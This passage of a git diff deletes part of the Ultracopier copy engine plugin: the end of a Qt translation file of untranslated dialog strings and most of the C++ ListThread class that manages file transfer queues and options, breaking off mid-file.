- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/ListThread.cpp b/plugins/CopyEngine/Ultracopier-0.3/ListThread.cpp
deleted file mode 100755
index 9856c3c..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/ListThread.cpp
+++ /dev/null
@@ -1,1689 +0,0 @@
-#include "ListThread.h"
-
-ListThread::ListThread(FacilityInterface * facilityInterface)
-{
- qRegisterMetaType<DebugLevel>("DebugLevel");
- qRegisterMetaType<ItemOfCopyList>("ItemOfCopyList");
- qRegisterMetaType<QFileInfo>("QFileInfo");
- qRegisterMetaType<CopyMode>("CopyMode");
- qRegisterMetaType<QList<Filters_rules> >("QList<Filters_rules>");
- qRegisterMetaType<TransferStat>("TransferStat");
-
- moveToThread(this);
- start(HighPriority);
- this->facilityInterface = facilityInterface;
- putInPause = false;
- sourceDrive = "";
- sourceDriveMultiple = false;
- destinationDrive = "";
- destinationDriveMultiple = false;
- stopIt = false;
- bytesToTransfer = 0;
- bytesTransfered = 0;
- idIncrementNumber = 1;
- actualRealByteTransfered = 0;
- preOperationNumber = 0;
- numberOfTranferRuning = 0;
- numberOfTransferIntoToDoList = 0;
- numberOfInodeOperation = 0;
- maxSpeed = 0;
- doRightTransfer = false;
- keepDate = false;
- blockSize = 1024;
- osBufferLimit = 512;
- alwaysDoThisActionForFileExists = FileExists_NotSet;
- doChecksum = false;
- checksumIgnoreIfImpossible = true;
- checksumOnlyOnError = true;
- osBuffer = false;
- osBufferLimited = false;
- forcedMode = false;
-
- #if ! defined (Q_CC_GNU)
- ui->keepDate->setEnabled(false);
- ui->keepDate->setToolTip("Not supported with this compiler");
- #endif
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- connect(&timerUpdateDebugDialog,SIGNAL(timeout()),this,SLOT(timedUpdateDebugDialog()));
- timerUpdateDebugDialog.start(ULTRACOPIER_PLUGIN_DEBUG_WINDOW_TIMER);
- #endif
- connect(this, SIGNAL(tryCancel()), this,SLOT(cancel()), Qt::QueuedConnection);
- connect(this, SIGNAL(askNewTransferThread()), this,SLOT(createTransferThread()), Qt::QueuedConnection);
- connect(&mkPathQueue, SIGNAL(firstFolderFinish()), this,SLOT(mkPathFirstFolderFinish()), Qt::QueuedConnection);
- connect(&rmPathQueue, SIGNAL(firstFolderFinish()), this,SLOT(rmPathFirstFolderFinish()), Qt::QueuedConnection);
- connect(&mkPathQueue, SIGNAL(errorOnFolder(QFileInfo,QString)), this,SIGNAL(mkPathErrorOnFolder(QFileInfo,QString)), Qt::QueuedConnection);
- connect(&rmPathQueue, SIGNAL(errorOnFolder(QFileInfo,QString)), this,SIGNAL(rmPathErrorOnFolder(QFileInfo,QString)), Qt::QueuedConnection);
- connect(this, SIGNAL(send_syncTransferList()), this,SLOT(syncTransferList_internal()), Qt::QueuedConnection);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(&mkPathQueue, SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), Qt::QueuedConnection);
- connect(&rmPathQueue, SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), Qt::QueuedConnection);
- #endif // ULTRACOPIER_PLUGIN_DEBUG
-
- emit askNewTransferThread();
- mkpathTransfer.release();
-}
-
-ListThread::~ListThread()
-{
- emit tryCancel();
- waitCancel.acquire();
- quit();
- wait();
-}
-
-//transfer is finished
-void ListThread::transferInodeIsClosed()
-{
- numberOfInodeOperation--;
- temp_transfer_thread=qobject_cast<TransferThread *>(QObject::sender());
- if(temp_transfer_thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not located!"));
- return;
- }
- isFound=false;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- int countLocalParse=0;
- #endif
- if(temp_transfer_thread->getStat()!=TransferStat_Idle)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not idle!"));
- return;
- }
- int_for_internal_loop=0;
- loop_size=actionToDoListTransfer.size();
- while(int_for_internal_loop<loop_size)
- {
- if(actionToDoListTransfer.at(int_for_internal_loop).id==temp_transfer_thread->transferId)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("[%1] have finish, put at idle; for id: %2").arg(int_for_internal_loop).arg(temp_transfer_thread->transferId));
- returnActionOnCopyList newAction;
- newAction.type=RemoveItem;
- newAction.addAction.id=temp_transfer_thread->transferId;
- newAction.userAction.position=int_for_internal_loop;
- actionDone << newAction;
- /// \todo check if item is at the right thread
- actionToDoListTransfer.removeAt(int_for_internal_loop);
- if(actionToDoListTransfer.size()==0 && actionToDoListInode.size()==0 && actionToDoListInode_afterTheTransfer.size()==0)
- updateTheStatus();
-
- temp_transfer_thread->transferId=0;
- temp_transfer_thread->transferSize=0;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- countLocalParse++;
- #endif
- isFound=true;
- //emit newActionOnList();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"numberOfTranferRuning: "+QString::number(numberOfTranferRuning));
- if(actionToDoListTransfer.size()==0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"numberOfTranferRuning==0");
- actionToDoListInode << actionToDoListInode_afterTheTransfer;
- actionToDoListInode_afterTheTransfer.clear();
- doNewActions_inode_manipulation();
- }
- break;
- }
- int_for_internal_loop++;
- }
- if(!isFound)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("unable to found item into the todo list, id: %1, index: %2").arg(temp_transfer_thread->transferId).arg(int_for_loop));
- temp_transfer_thread->transferId=0;
- temp_transfer_thread->transferSize=0;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("countLocalParse: %1, actionToDoList.size(): %2").arg(countLocalParse).arg(actionToDoListTransfer.size()));
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- if(countLocalParse!=1)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("countLocalParse != 1"));
- #endif
- doNewActions_inode_manipulation();
-}
-
-//transfer is finished
-void ListThread::transferIsFinished()
-{
- temp_transfer_thread=qobject_cast<TransferThread *>(QObject::sender());
- if(temp_transfer_thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not located!"));
- return;
- }
-
- //add the current size of file, to general size because it's finish
- copiedSize=temp_transfer_thread->copiedSize();
- if(copiedSize>(qint64)temp_transfer_thread->transferSize)
- {
- oversize=copiedSize-temp_transfer_thread->transferSize;
- bytesToTransfer+=oversize;
- bytesTransfered+=oversize;
- }
- bytesTransfered+=temp_transfer_thread->transferSize;
-
-// emit newTransferStop(temp_transfer_thread->transferId);
- numberOfTranferRuning--;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start transferIsFinished(), numberOfTranferRuning: "+QString::number(numberOfTranferRuning));
- doNewActions_start_transfer();
-}
-
-/** \brief put the current file at bottom in case of error
-\note ONLY IN CASE OF ERROR */
-void ListThread::transferPutAtBottom()
-{
- TransferThread *transfer=qobject_cast<TransferThread *>(QObject::sender());
- if(transfer==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not located!"));
- return;
- }
- transfer->skip();
- bool isFound=false;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- int countLocalParse=0;
- #endif
- int indexAction=0;
- while(indexAction<actionToDoListTransfer.size())
- {
- if(actionToDoListTransfer.at(indexAction).id==transfer->transferId)
- {
- //push for interface at the end
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=transfer->transferId;
- newAction.userAction.position=actionToDoListTransfer.size()-1;
- actionDone << newAction;
- //do the wait stat
- actionToDoListTransfer[indexAction].isRunning=false;
- //move at the end
- actionToDoListTransfer.move(indexAction,actionToDoListTransfer.size()-1);
- //reset the thread list stat
- transfer->transferId=0;
- transfer->transferSize=0;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- countLocalParse++;
- #endif
- isFound=true;
- break;
- }
- indexAction++;
- }
- if(!isFound)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("unable to found item into the todo list, id: %1, index: %2").arg(transfer->transferId));
- transfer->transferId=0;
- transfer->transferSize=0;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("countLocalParse: %1").arg(countLocalParse));
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- if(countLocalParse!=1)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("countLocalParse != 1"));
- #endif
-}
-
-//set the copy info and options before runing
-void ListThread::setRightTransfer(const bool doRightTransfer)
-{
- this->doRightTransfer=doRightTransfer;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setRightTransfer(doRightTransfer);
- index++;
- }
-}
-
-//set keep date
-void ListThread::setKeepDate(const bool keepDate)
-{
- this->keepDate=keepDate;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setKeepDate(keepDate);
- index++;
- }
-}
-
-//set block size in KB
-void ListThread::setBlockSize(const int blockSize)
-{
- this->blockSize=blockSize;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setBlockSize(blockSize);
- index++;
- }
-}
-
-//set auto start
-void ListThread::setAutoStart(const bool autoStart)
-{
- this->autoStart=autoStart;
-}
-
-//set check destination folder
-void ListThread::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
-{
- this->checkDestinationFolderExists=checkDestinationFolderExists;
- for(int i=0;i<scanFileOrFolderThreadsPool.size();i++)
- scanFileOrFolderThreadsPool.at(i)->setCheckDestinationFolderExists(checkDestinationFolderExists && alwaysDoThisActionForFolderExists!=FolderExists_Merge);
-}
-
-void ListThread::fileTransfer(const QFileInfo &sourceFileInfo,const QFileInfo &destinationFileInfo,const CopyMode &mode)
-{
- addToTransfer(sourceFileInfo,destinationFileInfo,mode);
-}
-
-// -> add thread safe, by Qt::BlockingQueuedConnection
-bool ListThread::haveSameSource(QStringList sources)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(sourceDriveMultiple)
- return false;
- if(sourceDrive.isEmpty())
- return true;
- int index=0;
- while(index<sources.size())
- {
-// if(threadOfTheTransfer.getDrive(sources.at(index))!=sourceDrive)
-// return false;
- index++;
- }
- return true;
-}
-
-// -> add thread safe, by Qt::BlockingQueuedConnection
-bool ListThread::haveSameDestination(QString destination)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(destinationDriveMultiple)
- return false;
- if(destinationDrive.isEmpty())
- return true;
- int index=0;
- while(index<destination.size())
- {
-// if(threadOfTheTransfer.getDrive(destination.at(index))!=destinationDrive)
-// return false;
- index++;
- }
- return true;
-}
-
-scanFileOrFolder * ListThread::newScanThread(CopyMode mode)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start with: "+QString::number(mode));
-
- //create new thread because is auto-detroyed
- scanFileOrFolderThreadsPool << new scanFileOrFolder(mode);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(finishedTheListing()), this,SLOT(scanThreadHaveFinish()), Qt::QueuedConnection);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(fileTransfer(QFileInfo,QFileInfo,CopyMode)), this,SLOT(fileTransfer(QFileInfo,QFileInfo,CopyMode)), Qt::QueuedConnection);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)));
- #endif
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(newFolderListing(QString)), this,SIGNAL(newFolderListing(QString)));
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(addToRmPath(QString,int)), this,SLOT(addToRmPath(QString,int)), Qt::QueuedConnection);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(addToMkPath(QString)), this,SLOT(addToMkPath(QString)), Qt::QueuedConnection);
-
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(errorOnFolder(QFileInfo,QString)), this,SLOT(errorOnFolder(QFileInfo,QString)), Qt::QueuedConnection);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(folderAlreadyExists(QFileInfo,QFileInfo,bool)), this,SLOT(folderAlreadyExists(QFileInfo,QFileInfo,bool)), Qt::QueuedConnection);
-
- scanFileOrFolderThreadsPool.last()->setFilters(include,exclude);
- scanFileOrFolderThreadsPool.last()->setCheckDestinationFolderExists(checkDestinationFolderExists && alwaysDoThisActionForFolderExists!=FolderExists_Merge);
- if(scanFileOrFolderThreadsPool.size()==1)
- updateTheStatus();
- scanFileOrFolderThreadsPool.last()->setRenamingRules(firstRenamingRule,otherRenamingRule);
- return scanFileOrFolderThreadsPool.last();
-}
-
-void ListThread::scanThreadHaveFinish(bool skipFirstRemove)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"listing thread have finish, skipFirstRemove: "+QString::number(skipFirstRemove));
- if(!skipFirstRemove)
- {
- scanFileOrFolder * senderThread = qobject_cast<scanFileOrFolder *>(QObject::sender());
- if(senderThread==NULL)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"sender pointer null (plugin copy engine)");
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start the next thread, scanFileOrFolderThreadsPool.size(): "+QString::number(scanFileOrFolderThreadsPool.size()));
- delete senderThread;
- scanFileOrFolderThreadsPool.removeOne(senderThread);
- if(scanFileOrFolderThreadsPool.size()==0)
- updateTheStatus();
- }
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start the next thread, scanFileOrFolderThreadsPool.size(): "+QString::number(scanFileOrFolderThreadsPool.size()));
- if(scanFileOrFolderThreadsPool.size()>0)
- {
- //then start the next listing threads
- if(scanFileOrFolderThreadsPool.first()->isFinished())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Start listing thread");
- scanFileOrFolderThreadsPool.first()->start();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"The listing thread is already running");
- }
- else
- {
- if(autoStart)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Auto start the copy");
- startGeneralTransfer();
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Put the copy engine in pause");
- putInPause=true;
- emit isInPause(true);
- }
- }
-}
-
-void ListThread::startGeneralTransfer()
-{
- doNewActions_inode_manipulation();
-}
-
-// -> add thread safe, by Qt::BlockingQueuedConnection
-bool ListThread::newCopy(QStringList sources,QString destination)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+sources.join(";")+", destination: "+destination);
- scanFileOrFolder * scanFileOrFolderThread = newScanThread(Copy);
- if(scanFileOrFolderThread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to get new thread");
- return false;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start the listing");
- scanFileOrFolderThread->addToList(sources,destination);
- scanThreadHaveFinish(true);
- return true;
-}
-
-// -> add thread safe, by Qt::BlockingQueuedConnection
-bool ListThread::newMove(QStringList sources,QString destination)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- scanFileOrFolder * scanFileOrFolderThread = newScanThread(Move);
- if(scanFileOrFolderThread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to get new thread");
- return false;
- }
- scanFileOrFolderThread->addToList(sources,destination);
- scanThreadHaveFinish(true);
-/* int index=0;
- while(index<sources.size() && !sourceDriveMultiple)
- {
- QString tempDrive=threadOfTheTransfer.getDrive(sources.at(index));
- if(sourceDrive=="")
- sourceDrive=tempDrive;
- if(tempDrive!=sourceDrive)
- sourceDriveMultiple=true;
- index++;
- }*/
-/* QString tempDrive=threadOfTheTransfer.getDrive(destination);
- if(!destinationDriveMultiple)
- {
- if(tempDrive=="")
- destinationDrive=tempDrive;
- if(tempDrive!=destinationDrive)
- destinationDriveMultiple=true;
- }*/
- return true;
-}
-
-void ListThread::setDrive(QStringList drives)
-{
- this->drives=drives;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setDrive(drives);
- index++;
- }
-}
-
-void ListThread::setCollisionAction(FileExistsAction alwaysDoThisActionForFileExists)
-{
- this->alwaysDoThisActionForFileExists=alwaysDoThisActionForFileExists;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- index++;
- }
-}
-
-/** \brief to sync the transfer list
- * Used when the interface is changed, useful to minimize the memory size */
-void ListThread::syncTransferList()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit send_syncTransferList();
-}
-
-//set the folder local colision
-void ListThread::setFolderColision(FolderExistsAction alwaysDoThisActionForFolderExists)
-{
- this->alwaysDoThisActionForFolderExists=alwaysDoThisActionForFolderExists;
-}
-
-bool ListThread::getReturnBoolToCopyEngine()
-{
- return returnBoolToCopyEngine;
-}
-
-QPair<quint64,quint64> ListThread::getReturnPairQuint64ToCopyEngine()
-{
- return returnPairQuint64ToCopyEngine;
-}
-
-ItemOfCopyList ListThread::getReturnItemOfCopyListToCopyEngine()
-{
- return returnItemOfCopyListToCopyEngine;
-}
-
-void ListThread::set_doChecksum(bool doChecksum)
-{
- this->doChecksum=doChecksum;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_doChecksum(doChecksum);
- index++;
- }
-}
-
-void ListThread::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
-{
- this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
- index++;
- }
-}
-
-void ListThread::set_checksumOnlyOnError(bool checksumOnlyOnError)
-{
- this->checksumOnlyOnError=checksumOnlyOnError;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
